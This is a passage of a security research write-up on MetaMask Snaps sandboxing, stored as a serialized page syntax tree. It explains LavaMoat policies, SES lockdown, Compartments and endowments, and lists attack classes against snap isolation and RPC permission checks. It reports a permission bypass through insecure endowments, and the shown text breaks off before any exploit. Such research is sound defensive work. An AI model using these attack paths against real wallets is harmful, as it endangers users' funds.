\"location.origin\"",{"type":20,"tag":315,"props":35560,"children":35561},{"style":328},[35562],{"type":26,"value":13732},{"type":20,"tag":315,"props":35564,"children":35565},{"style":541},[35566],{"type":26,"value":2387},{"type":20,"tag":315,"props":35568,"children":35569},{"style":328},[35570],{"type":26,"value":643},{"type":20,"tag":315,"props":35572,"children":35573},{"class":317,"line":453},[35574,35579,35583,35587],{"type":20,"tag":315,"props":35575,"children":35576},{"style":635},[35577],{"type":26,"value":35578}," \"postMessage\"",{"type":20,"tag":315,"props":35580,"children":35581},{"style":328},[35582],{"type":26,"value":13732},{"type":20,"tag":315,"props":35584,"children":35585},{"style":541},[35586],{"type":26,"value":2387},{"type":20,"tag":315,"props":35588,"children":35589},{"style":328},[35590],{"type":26,"value":643},{"type":20,"tag":315,"props":35592,"children":35593},{"class":317,"line":486},[35594,35599,35603],{"type":20,"tag":315,"props":35595,"children":35596},{"style":635},[35597],{"type":26,"value":35598}," \"removeEventListener\"",{"type":20,"tag":315,"props":35600,"children":35601},{"style":328},[35602],{"type":26,"value":13732},{"type":20,"tag":315,"props":35604,"children":35605},{"style":541},[35606],{"type":26,"value":35607},"true\n",{"type":20,"tag":315,"props":35609,"children":35610},{"class":317,"line":499},[35611],{"type":20,"tag":315,"props":35612,"children":35613},{"style":328},[35614],{"type":26,"value":35615}," },\n",{"type":20,"tag":315,"props":35617,"children":35618},{"class":317,"line":513},[35619,35624],{"type":20,"tag":315,"props":35620,"children":35621},{"style":635},[35622],{"type":26,"value":35623}," \"packages\"",{"type":20,"tag":315,"props":35625,"children":35626},{"style":328},[35627],{"type":26,"value":35438},{"type":20,"tag":315,"props":35629,"children":35630},{"class":317,"line":521},[35631,35636,35640,35644],{"type":20,"tag":315,"props":35632,"children":35633},{"style":635},[35634],{"type":26,"value":35635}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":20,"tag":315,"props":35637,"children":35638},{"style":328},[35639],{"type":26,"value":13732},{"type":20,"tag":315,"props":35641,"children":35642},{"style":541},[35643],{"type":26,"value":2387},{"type":20,"tag":315,"props":35645,"children":35646},{"style":328},[35647],{"type":26,"value":643},{"type":20,"tag":315,"props":35649,"children":35650},{"class":317,"line":552},[35651,35656,35660],{"type":20,"tag":315,"props":35652,"children":35653},{"style":635},[35654],{"type":26,"value":35655}," \"@metamask/post-message-stream>readable-stream\"",{"type":20,"tag":315,"props":35657,"children":35658},{"style":328},[35659],{"type":26,"value":13732},{"type":20,"tag":315,"props":35661,"children":35662},{"style":541},[35663],{"type":26,"value":35607},{"type":20,"tag":315,"props":35665,"children":35666},{"class":317,"line":571},[35667],{"type":20,"tag":315,"props":35668,"children":35669},{"style":328},[35670],{"type":26,"value":11064},{"type":20,"tag":315,"props":35672,"children":35673},{"class":317,"line":2031},[35674],{"type":20,"tag":315,"props":35675,"children":35676},{"style":328},[35677],{"type":26,"value":1736},{"type":20,"tag":29,"props":35679,"children":35680},{},[35681,35683,35689,35691,35697,35699,35705,35707,35713,35714,35720],{"type":26,"value":35682},"One crucial aspect of the policy, apart from the ",{"type":20,"tag":119,"props":35684,"children":35686},{"className":35685},[],[35687],{"type":26,"value":35688},"globals",{"type":26,"value":35690}," section, is the ",{"type":20,"tag":119,"props":35692,"children":35694},{"className":35693},[],[35695],{"type":26,"value":35696},"packages",{"type":26,"value":35698}," segment. This section permits the ",{"type":20,"tag":119,"props":35700,"children":35702},{"className":35701},[],[35703],{"type":26,"value":35704},"@metamask/post-message-stream",{"type":26,"value":35706},"package to exclusively interact with the package ",{"type":20,"tag":119,"props":35708,"children":35710},{"className":35709},[],[35711],{"type":26,"value":35712},"@metamask/utils",{"type":26,"value":9392},{"type":20,"tag":119,"props":35715,"children":35717},{"className":35716},[],[35718],{"type":26,"value":35719},"readable-stream",{"type":26,"value":35721},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":20,"tag":29,"props":35723,"children":35724},{},[35725,35727,35733],{"type":26,"value":35726},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":20,"tag":119,"props":35728,"children":35730},{"className":35729},[],[35731],{"type":26,"value":35732},"lockdown",{"type":26,"value":35734}," function to freeze all javascript builtins prototypes.",{"type":20,"tag":219,"props":35736,"children":35738},{"id":35737},"secure-ecmascript-ses-sandbox-layer-3",[35739],{"type":26,"value":35740},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":20,"tag":29,"props":35742,"children":35743},{},[35744,35746,35753],{"type":26,"value":35745},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":20,"tag":35,"props":35747,"children":35750},{"href":35748,"rel":35749},"https://github.com/endojs/endo/tree/master/packages/ses",[39],[35751],{"type":26,"value":35752},"Secure EcmaScript (SES)",{"type":26,"value":35754}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":20,"tag":17297,"props":35756,"children":35758},{"id":35757},"ses-fundamentals",[35759],{"type":26,"value":35760},"SES Fundamentals",{"type":20,"tag":35762,"props":35763,"children":35764},"h5",{"id":35732},[35765],{"type":26,"value":35766},"Lockdown",{"type":20,"tag":29,"props":35768,"children":35769},{},[35770,35772,35778],{"type":26,"value":35771},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":20,"tag":119,"props":35773,"children":35775},{"className":35774},[],[35776],{"type":26,"value":35777},"lockdown()",{"type":26,"value":35779}," function, which protects javascript objects against some attacks, mainly:",{"type":20,"tag":68,"props":35781,"children":35782},{},[35783,35796],{"type":20,"tag":72,"props":35784,"children":35785},{},[35786,35788,35794],{"type":26,"value":35787},"Prototype Pollution\nLockdown executes ",{"type":20,"tag":119,"props":35789,"children":35791},{"className":35790},[],[35792],{"type":26,"value":35793},"Object.freeze",{"type":26,"value":35795}," against all javascript builtins prototypes, preventing these attacks.",{"type":20,"tag":72,"props":35797,"children":35798},{},[35799,35801,35807,35809,35815],{"type":26,"value":35800},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":20,"tag":119,"props":35802,"children":35804},{"className":35803},[],[35805],{"type":26,"value":35806},"trace",{"type":26,"value":35808}," attribute in an ",{"type":20,"tag":119,"props":35810,"children":35812},{"className":35811},[],[35813],{"type":26,"value":35814},"Error",{"type":26,"value":35816}," object, which contains the stack trace of the error.",{"type":20,"tag":35762,"props":35818,"children":35820},{"id":35819},"compartment",[35821],{"type":26,"value":35822},"Compartment",{"type":20,"tag":29,"props":35824,"children":35825},{},[35826,35828,35834,35836,35841],{"type":26,"value":35827},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":20,"tag":119,"props":35829,"children":35831},{"className":35830},[],[35832],{"type":26,"value":35833},"globalThis",{"type":26,"value":35835}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":20,"tag":119,"props":35837,"children":35839},{"className":35838},[],[35840],{"type":26,"value":35833},{"type":26,"value":35842}," context is incapable of tampering with security.",{"type":20,"tag":305,"props":35844,"children":35846},{"className":34029,"code":35845,"language":34031,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[35847],{"type":20,"tag":119,"props":35848,"children":35849},{"__ignoreMap":7},[35850,35879,35912],{"type":20,"tag":315,"props":35851,"children":35852},{"class":317,"line":318},[35853,35857,35862,35866,35870,35875],{"type":20,"tag":315,"props":35854,"children":35855},{"style":541},[35856],{"type":26,"value":8054},{"type":20,"tag":315,"props":35858,"children":35859},{"style":635},[35860],{"type":26,"value":35861}," c",{"type":20,"tag":315,"props":35863,"children":35864},{"style":334},[35865],{"type":26,"value":1395},{"type":20,"tag":315,"props":35867,"children":35868},{"style":541},[35869],{"type":26,"value":30348},{"type":20,"tag":315,"props":35871,"children":35872},{"style":345},[35873],{"type":26,"value":35874}," Compartment",{"type":20,"tag":315,"props":35876,"children":35877},{"style":328},[35878],{"type":26,"value":568},{"type":20,"tag":315,"props":35880,"children":35881},{"class":317,"line":356},[35882,35886,35890,35894,35898,35903,35907],{"type":20,"tag":315,"props":35883,"children":35884},{"style":635},[35885],{"type":26,"value":1528},{"type":20,"tag":315,"props":35887,"children":35888},{"style":328},[35889],{"type":26,"value":61},{"type":20,"tag":315,"props":35891,"children":35892},{"style":635},[35893],{"type":26,"value":35833},{"type":20,"tag":315,"props":35895,"children":35896},{"style":334},[35897],{"type":26,"value":29837},{"type":20,"tag":315,"props":35899,"children":35900},{"style":635},[35901],{"type":26,"value":35902}," globalThis",{"type":20,"tag":315,"props":35904,"children":35905},{"style":328},[35906],{"type":26,"value":15629},{"type":20,"tag":315,"props":35908,"children":35909},{"style":1071},[35910],{"type":26,"value":35911},"// false\n",{"type":20,"tag":315,"props":35913,"children":35914},{"class":317,"line":365},[35915,35919,35923,35927,35931,35936,35940,35945,35949],{"type":20,"tag":315,"props":35916,"children":35917},{"style":635},[35918],{"type":26,"value":1528},{"type":20,"tag":315,"props":35920,"children":35921},{"style":328},[35922],{"type":26,"value":61},{"type":20,"tag":315,"props":35924,"children":35925},{"style":635},[35926],{"type":26,"value":35833},{"type":20,"tag":315,"props":35928,"children":35929},{"style":328},[35930],{"type":26,"value":61},{"type":20,"tag":315,"props":35932,"children":35933},{"style":635},[35934],{"type":26,"value":35935},"JSON",{"type":20,"tag":315,"props":35937,"children":35938},{"style":334},[35939],{"type":26,"value":29837},{"type":20,"tag":315,"props":35941,"children":35942},{"style":635},[35943],{"type":26,"value":35944}," JSON",{"type":20,"tag":315,"props":35946,"children":35947},{"style":328},[35948],{"type":26,"value":15629},{"type":20,"tag":315,"props":35950,"children":35951},{"style":1071},[35952],{"type":26,"value":35953},"// true\n",{"type":20,"tag":29,"props":35955,"children":35956},{},[35957,35959,35965,35967,35973,35975,35980],{"type":26,"value":35958},"Compartment also changes the behaviour of evaluators functions such as ",{"type":20,"tag":119,"props":35960,"children":35962},{"className":35961},[],[35963],{"type":26,"value":35964},"eval",{"type":26,"value":35966}," and the ",{"type":20,"tag":119,"props":35968,"children":35970},{"className":35969},[],[35971],{"type":26,"value":35972},"Function",{"type":26,"value":35974}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":20,"tag":119,"props":35976,"children":35978},{"className":35977},[],[35979],{"type":26,"value":35833},{"type":26,"value":61},{"type":20,"tag":35762,"props":35982,"children":35984},{"id":35983},"endowments",[35985],{"type":26,"value":35986},"Endowments",{"type":20,"tag":29,"props":35988,"children":35989},{},[35990,35992,35996,35998,36003],{"type":26,"value":35991},"While creating a Compartment, it is possible to specify ",{"type":20,"tag":55,"props":35993,"children":35994},{},[35995],{"type":26,"value":35983},{"type":26,"value":35997},". These endowments constitute objects that become accessible within the Compartment's ",{"type":20,"tag":119,"props":35999,"children":36001},{"className":36000},[],[36002],{"type":26,"value":35833},{"type":26,"value":36004},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":20,"tag":29,"props":36006,"children":36007},{},[36008,36010,36016],{"type":26,"value":36009},"In addition, SES provides the ",{"type":20,"tag":119,"props":36011,"children":36013},{"className":36012},[],[36014],{"type":26,"value":36015},"harden()",{"type":26,"value":36017}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":20,"tag":17297,"props":36019,"children":36021},{"id":36020},"setting-up-snaps-execution-env",[36022],{"type":26,"value":36023},"Setting up Snaps Execution Env",{"type":20,"tag":29,"props":36025,"children":36026},{},[36027],{"type":26,"value":36028},"When starting a snap, the setup follows these steps:",{"type":20,"tag":68,"props":36030,"children":36031},{},[36032],{"type":20,"tag":72,"props":36033,"children":36034},{},[36035],{"type":20,"tag":3717,"props":36036,"children":36037},{},[36038,36040],{"type":26,"value":36039},"Create endowments based on snap ",{"type":20,"tag":35,"props":36041,"children":36044},{"href":36042,"rel":36043},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[39],[36045],{"type":26,"value":36046},"permissions",{"type":20,"tag":305,"props":36048,"children":36050},{"className":34029,"code":36049,"language":34031,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[36051],{"type":20,"tag":119,"props":36052,"children":36053},{"__ignoreMap":7},[36054,36104,36116,36127,36139,36151],{"type":20,"tag":315,"props":36055,"children":36056},{"class":317,"line":318},[36057,36061,36065,36069,36073,36078,36082,36087,36091,36095,36100],{"type":20,"tag":315,"props":36058,"children":36059},{"style":541},[36060],{"type":26,"value":8054},{"type":20,"tag":315,"props":36062,"children":36063},{"style":328},[36064],{"type":26,"value":7985},{"type":20,"tag":315,"props":36066,"children":36067},{"style":635},[36068],{"type":26,"value":35983},{"type":20,"tag":315,"props":36070,"children":36071},{"style":328},[36072],{"type":26,"value":44},{"type":20,"tag":315,"props":36074,"children":36075},{"style":635},[36076],{"type":26,"value":36077},"teardown",{"type":20,"tag":315,"props":36079,"children":36080},{"style":328},[36081],{"type":26,"value":13732},{"type":20,"tag":315,"props":36083,"children":36084},{"style":635},[36085],{"type":26,"value":36086},"endowmentTeardown",{"type":20,"tag":315,"props":36088,"children":36089},{"style":328},[36090],{"type":26,"value":34618},{"type":20,"tag":315,"props":36092,"children":36093},{"style":334},[36094],{"type":26,"value":337},{"type":20,"tag":315,"props":36096,"children":36097},{"style":345},[36098],{"type":26,"value":36099}," createEndowments",{"type":20,"tag":315,"props":36101,"children":36102},{"style":328},[36103],{"type":26,"value":353},{"type":20,"tag":315,"props":36105,"children":36106},{"class":317,"line":356},[36107,36112],{"type":20,"tag":315,"props":36108,"children":36109},{"style":635},[36110],{"type":26,"value":36111}," snap",{"type":20,"tag":315,"props":36113,"children":36114},{"style":328},[36115],{"type":26,"value":643},{"type":20,"tag":315,"props":36117,"children":36118},{"class":317,"line":365},[36119,36123],{"type":20,"tag":315,"props":36120,"children":36121},{"style":635},[36122],{"type":26,"value":29899},{"type":20,"tag":315,"props":36124,"children":36125},{"style":328},[36126],{"type":26,"value":643},{"type":20,"tag":315,"props":36128,"children":36129},{"class":317,"line":374},[36130,36135],{"type":20,"tag":315,"props":36131,"children":36132},{"style":635},[36133],{"type":26,"value":36134}," snapId",{"type":20,"tag":315,"props":36136,"children":36137},{"style":328},[36138],{"type":26,"value":643},{"type":20,"tag":315,"props":36140,"children":36141},{"class":317,"line":383},[36142,36147],{"type":20,"tag":315,"props":36143,"children":36144},{"style":635},[36145],{"type":26,"value":36146}," _endowments",{"type":20,"tag":315,"props":36148,"children":36149},{"style":328},[36150],{"type":26,"value":643},{"type":20,"tag":315,"props":36152,"children":36153},{"class":317,"line":407},[36154],{"type":20,"tag":315,"props":36155,"children":36156},{"style":328},[36157],{"type":26,"value":2214},{"type":20,"tag":29,"props":36159,"children":36160},{},[36161],{"type":26,"value":36162},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":20,"tag":29,"props":36164,"children":36165},{},[36166,36168,36174,36176,36182],{"type":26,"value":36167},"One clear example is the ",{"type":20,"tag":119,"props":36169,"children":36171},{"className":36170},[],[36172],{"type":26,"value":36173},"endowment:network-access",{"type":26,"value":36175}," permission, that adds the ",{"type":20,"tag":119,"props":36177,"children":36179},{"className":36178},[],[36180],{"type":26,"value":36181},"fetch()",{"type":26,"value":36183}," function to the endowments.",{"type":20,"tag":29,"props":36185,"children":36186},{},[36187,36189,36195],{"type":26,"value":36188},"All endowments are protected with the ",{"type":20,"tag":119,"props":36190,"children":36192},{"className":36191},[],[36193],{"type":26,"value":36194},"harden",{"type":26,"value":36196}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":20,"tag":68,"props":36198,"children":36199},{"start":356},[36200],{"type":20,"tag":72,"props":36201,"children":36202},{},[36203],{"type":20,"tag":3717,"props":36204,"children":36205},{},[36206,36208],{"type":26,"value":36207},"Create the snap ",{"type":20,"tag":35,"props":36209,"children":36212},{"href":36210,"rel":36211},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[39],[36213],{"type":26,"value":35819},{"type":20,"tag":305,"props":36215,"children":36217},{"className":34029,"code":36216,"language":34031,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[36218],{"type":20,"tag":119,"props":36219,"children":36220},{"__ignoreMap":7},[36221,36249,36265,36282,36307],{"type":20,"tag":315,"props":36222,"children":36223},{"class":317,"line":318},[36224,36228,36233,36237,36241,36245],{"type":20,"tag":315,"props":36225,"children":36226},{"style":541},[36227],{"type":26,"value":8054},{"type":20,"tag":315,"props":36229,"children":36230},{"style":635},[36231],{"type":26,"value":36232}," compartment",{"type":20,"tag":315,"props":36234,"children":36235},{"style":334},[36236],{"type":26,"value":1395},{"type":20,"tag":315,"props":36238,"children":36239},{"style":541},[36240],{"type":26,"value":30348},{"type":20,"tag":315,"props":36242,"children":36243},{"style":345},[36244],{"type":26,"value":35874},{"type":20,"tag":315,"props":36246,"children":36247},{"style":328},[36248],{"type":26,"value":13541},{"type":20,"tag":315,"props":36250,"children":36251},{"class":317,"line":356},[36252,36257,36261],{"type":20,"tag":315,"props":36253,"children":36254},{"style":334},[36255],{"type":26,"value":36256}," ...",{"type":20,"tag":315,"props":36258,"children":36259},{"style":635},[36260],{"type":26,"value":35983},{"type":20,"tag":315,"props":36262,"children":36263},{"style":328},[36264],{"type":26,"value":643},{"type":20,"tag":315,"props":36266,"children":36267},{"class":317,"line":365},[36268,36273,36278],{"type":20,"tag":315,"props":36269,"children":36270},{"style":635},[36271],{"type":26,"value":36272}," module:",{"type":20,"tag":315,"props":36274,"children":36275},{"style":635},[36276],{"type":26,"value":36277}," snapModule",{"type":20,"tag":315,"props":36279,"children":36280},{"style":328},[36281],{"type":26,"value":643},{"type":20,"tag":315,"props":36283,"children":36284},{"class":317,"line":374},[36285,36290,36294,36298,36303],{"type":20,"tag":315,"props":36286,"children":36287},{"style":635},[36288],{"type":26,"value":36289}," exports:",{"type":20,"tag":315,"props":36291,"children":36292},{"style":635},[36293],{"type":26,"value":36277},{"type":20,"tag":315,"props":36295,"children":36296},{"style":328},[36297],{"type":26,"value":61},{"type":20,"tag":315,"props":36299,"children":36300},{"style":635},[36301],{"type":26,"value":36302},"exports",{"type":20,"tag":315,"props":36304,"children":36305},{"style":328},[36306],{"type":26,"value":643},{"type":20,"tag":315,"props":36308,"children":36309},{"class":317,"line":383},[36310],{"type":20,"tag":315,"props":36311,"children":36312},{"style":328},[36313],{"type":26,"value":33753},{"type":20,"tag":29,"props":36315,"children":36316},{},[36317,36319,36325,36326,36331,36333,36338],{"type":26,"value":36318},"Note: ",{"type":20,"tag":119,"props":36320,"children":36322},{"className":36321},[],[36323],{"type":26,"value":36324},"module",{"type":26,"value":9392},{"type":20,"tag":119,"props":36327,"children":36329},{"className":36328},[],[36330],{"type":26,"value":36302},{"type":26,"value":36332}," are passed as endowments, but without being ",{"type":20,"tag":55,"props":36334,"children":36335},{},[36336],{"type":26,"value":36337},"hardened",{"type":26,"value":36339},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":20,"tag":68,"props":36341,"children":36342},{"start":365},[36343],{"type":20,"tag":72,"props":36344,"children":36345},{},[36346],{"type":20,"tag":3717,"props":36347,"children":36348},{},[36349,36351],{"type":26,"value":36350},"Evaluate the snap code inside the ",{"type":20,"tag":35,"props":36352,"children":36355},{"href":36353,"rel":36354},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[39],[36356],{"type":26,"value":35819},{"type":20,"tag":305,"props":36358,"children":36360},{"className":34029,"code":36359,"language":34031,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[36361],{"type":20,"tag":119,"props":36362,"children":36363},{"__ignoreMap":7},[36364,36405,36435,36472],{"type":20,"tag":315,"props":36365,"children":36366},{"class":317,"line":318},[36367,36371,36375,36379,36384,36388,36392,36397,36401],{"type":20,"tag":315,"props":36368,"children":36369},{"style":525},[36370],{"type":26,"value":31330},{"type":20,"tag":315,"props":36372,"children":36373},{"style":541},[36374],{"type":26,"value":34132},{"type":20,"tag":315,"props":36376,"children":36377},{"style":328},[36378],{"type":26,"value":61},{"type":20,"tag":315,"props":36380,"children":36381},{"style":345},[36382],{"type":26,"value":36383},"executeInSnapContext",{"type":20,"tag":315,"props":36385,"children":36386},{"style":328},[36387],{"type":26,"value":1049},{"type":20,"tag":315,"props":36389,"children":36390},{"style":635},[36391],{"type":26,"value":34436},{"type":20,"tag":315,"props":36393,"children":36394},{"style":328},[36395],{"type":26,"value":36396},", () ",{"type":20,"tag":315,"props":36398,"children":36399},{"style":541},[36400],{"type":26,"value":13222},{"type":20,"tag":315,"props":36402,"children":36403},{"style":328},[36404],{"type":26,"value":1092},{"type":20,"tag":315,"props":36406,"children":36407},{"class":317,"line":356},[36408,36413,36417,36422,36426,36431],{"type":20,"tag":315,"props":36409,"children":36410},{"style":635},[36411],{"type":26,"value":36412}," compartment",{"type":20,"tag":315,"props":36414,"children":36415},{"style":328},[36416],{"type":26,"value":61},{"type":20,"tag":315,"props":36418,"children":36419},{"style":345},[36420],{"type":26,"value":36421},"evaluate",{"type":20,"tag":315,"props":36423,"children":36424},{"style":328},[36425],{"type":26,"value":1049},{"type":20,"tag":315,"props":36427,"children":36428},{"style":635},[36429],{"type":26,"value":36430},"sourceCode",{"type":20,"tag":315,"props":36432,"children":36433},{"style":328},[36434],{"type":26,"value":2214},{"type":20,"tag":315,"props":36436,"children":36437},{"class":317,"line":365},[36438,36442,36446,36451,36455,36459,36463,36468],{"type":20,"tag":315,"props":36439,"children":36440},{"style":541},[36441],{"type":26,"value":34480},{"type":20,"tag":315,"props":36443,"children":36444},{"style":328},[36445],{"type":26,"value":61},{"type":20,"tag":315,"props":36447,"children":36448},{"style":345},[36449],{"type":26,"value":36450},"registerSnapExports",{"type":20,"tag":315,"props":36452,"children":36453},{"style":328},[36454],{"type":26,"value":1049},{"type":20,"tag":315,"props":36456,"children":36457},{"style":635},[36458],{"type":26,"value":34436},{"type":20,"tag":315,"props":36460,"children":36461},{"style":328},[36462],{"type":26,"value":44},{"type":20,"tag":315,"props":36464,"children":36465},{"style":635},[36466],{"type":26,"value":36467},"snapModule",{"type":20,"tag":315,"props":36469,"children":36470},{"style":328},[36471],{"type":26,"value":2214},{"type":20,"tag":315,"props":36473,"children":36474},{"class":317,"line":374},[36475],{"type":20,"tag":315,"props":36476,"children":36477},{"style":328},[36478],{"type":26,"value":33753},{"type":20,"tag":29,"props":36480,"children":36481},{},[36482,36484,36490,36491,36497,36498,36504],{"type":26,"value":36483},"According to the documentation, the snap must contain one of the following function exports: ",{"type":20,"tag":119,"props":36485,"children":36487},{"className":36486},[],[36488],{"type":26,"value":36489},"onRpcRequest",{"type":26,"value":44},{"type":20,"tag":119,"props":36492,"children":36494},{"className":36493},[],[36495],{"type":26,"value":36496},"onTransaction",{"type":26,"value":11534},{"type":20,"tag":119,"props":36499,"children":36501},{"className":36500},[],[36502],{"type":26,"value":36503},"onCronjob",{"type":26,"value":61},{"type":20,"tag":29,"props":36506,"children":36507},{},[36508,36510,36515],{"type":26,"value":36509},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":20,"tag":119,"props":36511,"children":36513},{"className":36512},[],[36514],{"type":26,"value":35833},{"type":26,"value":36516}," environment of that Compartment.",{"type":20,"tag":29,"props":36518,"children":36519},{},[36520],{"type":26,"value":36521},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":20,"tag":21,"props":36523,"children":36525},{"id":36524},"vulnerability-research",[36526],{"type":26,"value":36527},"Vulnerability research",{"type":20,"tag":219,"props":36529,"children":36531},{"id":36530},"possible-attacks",[36532],{"type":26,"value":36533},"Possible attacks",{"type":20,"tag":29,"props":36535,"children":36536},{},[36537],{"type":26,"value":36538},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":20,"tag":15089,"props":36540,"children":36541},{},[36542,36547,36552,36557],{"type":20,"tag":72,"props":36543,"children":36544},{},[36545],{"type":26,"value":36546},"Broken SES Container isolation",{"type":20,"tag":72,"props":36548,"children":36549},{},[36550],{"type":26,"value":36551},"Insecure endowments in Containers",{"type":20,"tag":72,"props":36553,"children":36554},{},[36555],{"type":26,"value":36556},"Incorrect RPC permission checks",{"type":20,"tag":72,"props":36558,"children":36559},{},[36560],{"type":26,"value":36561},"Insecure snap installation/update",{"type":20,"tag":29,"props":36563,"children":36564},{},[36565],{"type":26,"value":36566},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":20,"tag":29,"props":36568,"children":36569},{},[36570],{"type":26,"value":36571},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":20,"tag":219,"props":36573,"children":36575},{"id":36574},"rpc-interfaces-endowments",[36576],{"type":26,"value":36577},"RPC interfaces endowments",{"type":20,"tag":17297,"props":36579,"children":36581},{"id":36580},"providers-limitations",[36582],{"type":26,"value":36583},"Providers limitations",{"type":20,"tag":29,"props":36585,"children":36586},{},[36587,36589,36595,36596,36601,36603,36610],{"type":26,"value":36588},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":20,"tag":119,"props":36590,"children":36592},{"className":36591},[],[36593],{"type":26,"value":36594},"snap",{"type":26,"value":9392},{"type":20,"tag":119,"props":36597,"children":36599},{"className":36598},[],[36600],{"type":26,"value":29832},{"type":26,"value":36602}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":20,"tag":35,"props":36604,"children":36607},{"href":36605,"rel":36606},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[39],[36608],{"type":26,"value":36609},"methods",{"type":26,"value":2884},{"type":20,"tag":305,"props":36612,"children":36614},{"className":34029,"code":36613,"language":34031,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[36615],{"type":20,"tag":119,"props":36616,"children":36617},{"__ignoreMap":7},[36618,36658,36666,36678,36748,36809,36821,36829,36840,36880,36910,36922,36947,36954,36962,36969,37007],{"type":20,"tag":315,"props":36619,"children":36620},{"class":317,"line":318},[36621,36626,36631,36636,36640,36645,36649,36654],{"type":20,"tag":315,"props":36622,"children":36623},{"style":525},[36624],{"type":26,"value":36625},"export",{"type":20,"tag":315,"props":36627,"children":36628},{"style":541},[36629],{"type":26,"value":36630}," function",{"type":20,"tag":315,"props":36632,"children":36633},{"style":345},[36634],{"type":26,"value":36635}," assertSnapOutboundRequest",{"type":20,"tag":315,"props":36637,"children":36638},{"style":328},[36639],{"type":26,"value":1049},{"type":20,"tag":315,"props":36641,"children":36642},{"style":635},[36643],{"type":26,"value":36644},"args",{"type":20,"tag":315,"props":36646,"children":36647},{"style":334},[36648],{"type":26,"value":2884},{"type":20,"tag":315,"props":36650,"children":36651},{"style":322},[36652],{"type":26,"value":36653}," RequestArguments",{"type":20,"tag":315,"props":36655,"children":36656},{"style":328},[36657],{"type":26,"value":549},{"type":20,"tag":315,"props":36659,"children":36660},{"class":317,"line":356},[36661],{"type":20,"tag":315,"props":36662,"children":36663},{"style":1071},[36664],{"type":26,"value":36665}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":20,"tag":315,"props":36667,"children":36668},{"class":317,"line":365},[36669,36674],{"type":20,"tag":315,"props":36670,"children":36671},{"style":345},[36672],{"type":26,"value":36673}," assert",{"type":20,"tag":315,"props":36675,"children":36676},{"style":328},[36677],{"type":26,"value":353},{"type":20,"tag":315,"props":36679,"children":36680},{"class":317,"line":374},[36681,36686,36690,36695,36699,36704,36708,36713,36717,36721,36725,36730,36734,36739,36743],{"type":20,"tag":315,"props":36682,"children":36683},{"style":322},[36684],{"type":26,"value":36685}," String",{"type":20,"tag":315,"props":36687,"children":36688},{"style":328},[36689],{"type":26,"value":61},{"type":20,"tag":315,"props":36691,"children":36692},{"style":635},[36693],{"type":26,"value":36694},"prototype",{"type":20,"tag":315,"props":36696,"children":36697},{"style":328},[36698],{"type":26,"value":61},{"type":20,"tag":315,"props":36700,"children":36701},{"style":635},[36702],{"type":26,"value":36703},"startsWith",{"type":20,"tag":315,"props":36705,"children":36706},{"style":328},[36707],{"type":26,"value":61},{"type":20,"tag":315,"props":36709,"children":36710},{"style":345},[36711],{"type":26,"value":36712},"call",{"type":20,"tag":315,"props":36714,"children":36715},{"style":328},[36716],{"type":26,"value":1049},{"type":20,"tag":315,"props":36718,"children":36719},{"style":635},[36720],{"type":26,"value":36644},{"type":20,"tag":315,"props":36722,"children":36723},{"style":328},[36724],{"type":26,"value":61},{"type":20,"tag":315,"props":36726,"children":36727},{"style":635},[36728],{"type":26,"value":36729},"method",{"type":20,"tag":315,"props":36731,"children":36732},{"style":328},[36733],{"type":26,"value":44},{"type":20,